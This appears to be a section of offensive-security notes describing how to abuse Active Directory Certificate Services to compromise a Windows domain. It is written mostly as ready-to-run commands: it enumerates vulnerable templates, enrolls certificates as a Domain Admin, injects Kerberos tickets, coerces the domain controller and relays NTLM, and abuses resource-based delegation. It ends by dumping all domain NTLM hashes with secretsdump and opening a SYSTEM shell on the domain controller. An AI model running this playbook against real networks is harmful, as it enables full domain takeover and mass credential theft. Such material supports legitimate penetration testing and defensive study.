A majority of the discussion in this section references a SpecterOps paper on abusing Active Directory Certificate Services (ADCS).

Misconfigured certificate templates

We can use the Certify toolkit to identify vulnerable certificate templates by invoking the following:

Start-Process `
	-FilePath ".\Certify.exe" `
	-ArgumentList @(
		"find",
		"/vulnerable"
	)

If we identify a vulnerable certificate template that enables low-privileged users to enroll certificates with an alternative subject name and that allow user login, we can use PowerSploit’s PowerView tool to identify Domain Administrators by invoking the following:

. .\PowerView.ps1
Get-DomainGroupMember -Identity 'Domain Admins'

Finding a valid Domain Admin, we can use the Certify toolkit again to enroll a certificate:

Start-Process `
	-FilePath ".\Certify.exe" `
	-ArgumentList @(
		"request",
		"/ca:${DOMAIN}\${DOMAIN_CONTROLLER}",
		"/template:${TEMPLATE_NAME}",
		"/altname:${DOMAIN_ADMIN_USERNAME}"
	)

After successfully enrolling a certificate, a certificate will be printed to stdout starting with -----BEGIN RSA PRIVATE KEY-----. Write all of the contents of the certificate to a .pem file so we can operate on it. Using openssl, we can convert the certificate to a .pfx file:

Start-Process `
	-FilePath "openssl" `
	-ArgumentList @(
		"pkcs12",
		"-in",
		"${PEM_FILE}",
		"-keyex",
		"-CSP",
		"'Microsoft Enhanced Cryptographic Provider v1.0'",
		"-export",
		"-out",
		"${OUTFILE}.pfx"
	)

With our new .pfx certificate in hand, we can use Rubeus to request a Ticket Granting Ticket (TGT) by invoking the following, injecting the TGT into our user’s memory:

Start-Process `
	-FilePath ".\Rubeus.exe" `
	-ArgumentList @(
		"asktgt",
		"/user:${DOMAIN_ADMIN_USERNAME}",
		"/certificate:${OUTFILE}.pfx",
		"/password:${CERTIFICATE_PASSWORD}",
		"/ptt"
	)

Attacking ADCS HTTP endpoints

The ADCS certificate enrollment process typically involves an HTTP-based web server that hosts an ASP application endpoint at http://${CASERVERHOSTNAME}/certsrv. The enrollment server doesn’t always use HTTPS by default, making it vulnerable to an HTTP relay attack.

When we perform our attack, we trick privileged accounts like machine or service accounts, e.g. the Domain Controller account, to authenticate to our attacker machine. We can then relay this authentication to the certificate enrollment service while requesting access to a certificate template that contains Client Authentication to a target we want to compromise.

Using the Certipy tool, we can enumerate a domain’s certificate templates for vulnerable configurations by invoking the following:

certipy-ad find -u "${USER}@${DOMAIN}" -p "${PASSWORD}" -dc-ip ${DOMAIN_CONTROLLER_IPADDR} -enabled

We could use a tool like Bloodhound to interpret the results of the above invocation. Finding a vulnerable template, we can use impacket-ntlmrelayx to stage our NTLM relay:

impacket-ntlmrelayx -t "http://${CA_HOSTNAME}/certsrv/certfnsh.asp" --adcs --template ${VULNERABLE_TEMPLATE} -smb2support

We can use the Coercer toolkit to coerce the Domain Controller account to authenticate to our fake service using vulnerable RPC commands. In the following example, we abuse the EfsRpcAddUsersToFile RPC endpoint:

coercer coerce --target-ip ${DC_IPADDR} --l ${LHOST} -u ${USER} -p ${PASS} --filter-method-name EfsRpcAddUsersToFile

After invoking the above, the Domain Controller will authenticate to us and our NTLM relay will use the Domain Controller’s authentication to enroll a new certificate for authentication. impacket will proceed to write the .pfx certificate to disk.

Abusing LDAP with certs

Sometimes the Kerberos Key Distribution Center (KDC) doesn’t have certificate authentication enabled. We can abuse LDAP with a certificate we’ve enrolled for the Domain Controller to pivot and pwn the domain.

Using bloodyAD, we see if we can create a new computer within the domain:

python bloodyAD.py -d ${DOMAIN} -u ${USER} -p ${PASS} --host ${DC_IPADDR} get object "DC=${DOMAIN},DC=com" --attr ms-DS-MachineAccountQuota

If the ms-DS-MachineAccountQuota is greater than 0, we’re good to go for creating a new host. We can invoke the following to do this:

python bloodyAD.py -d ${DOMAIN} -u ${USER} -p ${PASS} --host ${DC_IPADDR} add computer ${COMPUTERNAME} ${COMPUTERPASSWORD}

We invoke the following to convert our .pfx file to a .pem file and then use the Domain Controller’s certificate to enable our new computer to impersonate users:

openssl pkcs12 -in ${CERT}.pfx -out ${CERT}.pem -nodes
python bloodAD.py -d ${DOMAIN} -c ":${CERT}.pem" -u "${COMPUTERNAME}$" --host ${DC_IPADDR} add rbcd "${DC_COMPUTERNAME}$" "${COMPUTERNAME}$"

With the ability to impersonate any user, let’s acquire a Kerberos TGT for the Administrator account on the Domain Controller:

impacket-getST -spn LDAP/${DC_COMPUTERNAME}.${DOMAIN} -impersonate Administrator -dc-ip ${DC_IPADDR} "${DOMAIN}/${COMPUTERNAME}:${PASSWORD}"

This will create a .ccache file for the user we’ve impersonated. Using techniques from our Linux lateral movement - Impacket and Windows lateral movement - Metasploit discussions, we can establish a SOCKS5 proxy with our current access into the domain and use proxychains to enumerate and attack the domain with our new Kerberos TGT.

For example, we can dump all NTLM hashes from the domain controller by invoking the following:

proxychains python /usr/share/doc/python3-impacket/examples/secretsdump.py "${DOMAIN}/Administrator@${DC_COMPUTERNAME}.${DOMAIN}" -k -no-pass -dc-ip ${DC_IPADDR} -target-ip ${DC_IPADDR}

Even juicier, let’s obtain a shell as SYSTEM on the Domain Controller using psexec:

proxychains python /usr/share/doc/python3-impacket/examples/psexec.py "${DOMAIN}/Administrator@${DC_COMPUTERNAME}.${DOMAIN}" -k -no-pass -dc-ip ${DC_IPADDR} -target-ip ${DC_IPADDR}

References